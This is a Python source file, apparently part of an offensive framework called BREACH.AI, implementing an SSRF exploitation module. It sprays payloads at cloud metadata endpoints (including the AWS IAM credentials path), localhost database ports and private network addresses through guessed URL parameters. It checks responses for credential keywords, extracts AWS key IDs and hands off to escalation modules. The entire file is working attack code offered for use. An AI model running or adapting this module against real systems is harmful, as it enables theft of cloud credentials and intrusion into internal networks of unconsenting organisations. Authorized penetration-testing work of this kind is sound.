"""
BREACH.AI v2 - SSRF Exploiter Module

Server-side request forgery to internal access.
"""

import asyncio
from urllib.parse import urljoin, quote

from breach.modules.base import (
    InitialAccessModule,
    ModuleConfig,
    ModuleInfo,
    register_module,
)
from breach.core.killchain import (
    BreachPhase,
    ModuleResult,
    EvidenceType,
    AccessLevel,
    Severity,
)


# SSRF payloads targeting internal services
SSRF_PAYLOADS = {
    "aws_metadata": [
        "http://169.254.169.254/latest/meta-data/",
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        "http://169.254.169.254/latest/user-data/",
        "http://169.254.169.254/latest/dynamic/instance-identity/document",
    ],
    "gcp_metadata": [
        "http://metadata.google.internal/computeMetadata/v1/",
        "http://169.254.169.254/computeMetadata/v1/",
    ],
    "azure_metadata": [
        "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
    ],
    "internal_services": [
        "http://localhost/",
        "http://127.0.0.1/",
        "http://localhost:6379/",  # Redis
        "http://localhost:27017/",  # MongoDB
        "http://localhost:9200/",  # Elasticsearch
        "http://localhost:11211/",  # Memcached
        "http://localhost:5432/",  # PostgreSQL
        "http://localhost:3306/",  # MySQL
    ],
    "internal_network": [
        "http://192.168.1.1/",
        "http://10.0.0.1/",
        "http://172.16.0.1/",
    ],
}


@register_module
class SSRFExploiter(InitialAccessModule):
    """
    SSRF Exploiter - Server-side request forgery attacks.

    Techniques:
    - Cloud metadata access (AWS, GCP, Azure)
    - Internal service discovery
    - Internal network scanning
    - Protocol smuggling
    """

    info = ModuleInfo(
        name="ssrf_exploiter",
        phase=BreachPhase.INITIAL_ACCESS,
        description="Server-side request forgery",
        author="BREACH.AI",
        techniques=["T1190", "T1552.005"],  # Exploit App, Cloud Instance Metadata
        platforms=["web", "api", "cloud"],
        requires_access=False,
        provides_access=True,
        max_access_level=AccessLevel.CLOUD_ADMIN,
    )

    async def check(self, config: ModuleConfig) -> bool:
        return bool(config.target)

    async def run(self, config: ModuleConfig) -> ModuleResult:
        self._start_execution()

        ssrf_vulns = []
        cloud_creds = []
        internal_access = []

        # Find URL parameters that might be SSRF vectors
        ssrf_endpoints = await self._find_ssrf_endpoints(config.target, config)

        # Test each endpoint
        for endpoint in ssrf_endpoints:
            results = await self._test_ssrf(endpoint, config)
            ssrf_vulns.extend(results.get("vulnerabilities", []))
            cloud_creds.extend(results.get("cloud_creds", []))
            internal_access.extend(results.get("internal_access", []))

        # Determine access level
        access_gained = None
        if cloud_creds:
            access_gained = AccessLevel.CLOUD_ADMIN
        elif internal_access:
            access_gained = AccessLevel.SYSTEM

        # Add evidence
        for vuln in ssrf_vulns:
            self._add_evidence(
                evidence_type=EvidenceType.API_RESPONSE,
                description=f"SSRF in {vuln['endpoint']}",
                content=vuln,
                proves="Server can be tricked into making arbitrary requests",
                severity=Severity.HIGH if not cloud_creds else Severity.CRITICAL,
            )

        if cloud_creds:
            self._add_evidence(
                evidence_type=EvidenceType.CREDENTIAL,
                description="Cloud credentials extracted via SSRF",
                content={"type": "cloud_credentials", "count": len(cloud_creds)},
                proves="Full cloud account compromise possible",
                severity=Severity.CRITICAL,
                redact=True,
            )

        return self._create_result(
            success=len(ssrf_vulns) > 0,
            action="ssrf_exploitation",
            details=f"Found {len(ssrf_vulns)} SSRF vulnerabilities",
            access_gained=access_gained,
            tokens_found=[{"type": "aws_creds", "value": "***"} for c in cloud_creds],
            new_targets=[a["url"] for a in internal_access],
            enables_modules=["aws_escalator", "cloud_hopper"] if cloud_creds else [],
        )

    async def _find_ssrf_endpoints(self, target: str, config: ModuleConfig) -> list[dict]:
        """Find endpoints with URL parameters."""
        endpoints = []

        # Common SSRF-prone parameter names
        param_names = ["url", "uri", "src", "source", "link", "href", "redirect", "callback", "webhook", "proxy", "fetch"]

        # Common endpoints
        paths = [
            "/api/fetch", "/api/proxy", "/api/image",
            "/api/webhook", "/api/preview", "/api/screenshot",
            "/fetch", "/proxy", "/preview",
        ]

        for path in paths:
            url = urljoin(target, path)
            for param in param_names:
                endpoints.append({
                    "url": url,
                    "method": "GET",
                    "param": param,
                })
                endpoints.append({
                    "url": url,
                    "method": "POST",
                    "param": param,
                })

        return endpoints

    async def _test_ssrf(self, endpoint: dict, config: ModuleConfig) -> dict:
        """Test endpoint for SSRF."""
        results = {
            "vulnerabilities": [],
            "cloud_creds": [],
            "internal_access": [],
        }

        for category, payloads in SSRF_PAYLOADS.items():
            for payload in payloads:
                try:
                    if endpoint["method"] == "GET":
                        url = f"{endpoint['url']}?{endpoint['param']}={quote(payload)}"
                        response = await self._safe_request(
                            "GET", url,
                            cookies=config.cookies,
                            headers=config.headers,
                            timeout=15,
                        )
                    else:
                        response = await self._safe_request(
                            "POST", endpoint["url"],
                            json={endpoint["param"]: payload},
                            cookies=config.cookies,
                            headers=config.headers,
                            timeout=15,
                        )

                    if response and self._is_ssrf_success(response, category, payload):
                        vuln = {
                            "endpoint": endpoint["url"],
                            "parameter": endpoint["param"],
                            "method": endpoint["method"],
                            "payload": payload,
                            "category": category,
                        }
                        results["vulnerabilities"].append(vuln)

                        # Extract cloud credentials if available
                        if category in ["aws_metadata", "gcp_metadata", "azure_metadata"]:
                            creds = self._extract_cloud_creds(response, category)
                            if creds:
                                results["cloud_creds"].append(creds)

                        # Record internal access
                        if category in ["internal_services", "internal_network"]:
                            results["internal_access"].append({
                                "url": payload,
                                "response_preview": response.get("text", "")[:200],
                            })

                except Exception:
                    continue

        return results

    def _is_ssrf_success(self, response: dict, category: str, payload: str) -> bool:
        """Detect if SSRF was successful."""
        text = response.get("text", "")
        status = response.get("status_code", 0)

        if status != 200:
            return False

        # AWS metadata indicators
        if category == "aws_metadata":
            return any(kw in text for kw in [
                "ami-id", "instance-id", "AccessKeyId", "SecretAccessKey",
            ])

        # GCP metadata indicators
        if category == "gcp_metadata":
            return any(kw in text for kw in [
                "project-id", "access_token", "instance",
            ])

        # Internal service indicators
        if category == "internal_services":
            return len(text) > 10 and status == 200

        return False

    def _extract_cloud_creds(self, response: dict, category: str) -> dict:
        """Extract cloud credentials from response."""
        import re
        import json

        text = response.get("text", "")

        if category == "aws_metadata":
            try:
                data = json.loads(text)
                if "AccessKeyId" in data:
                    return {
                        "type": "aws",
                        "access_key_id": data.get("AccessKeyId", "")[:10] + "***",
                        "has_secret": bool(data.get("SecretAccessKey")),
                    }
            except:
                pass

        return {}
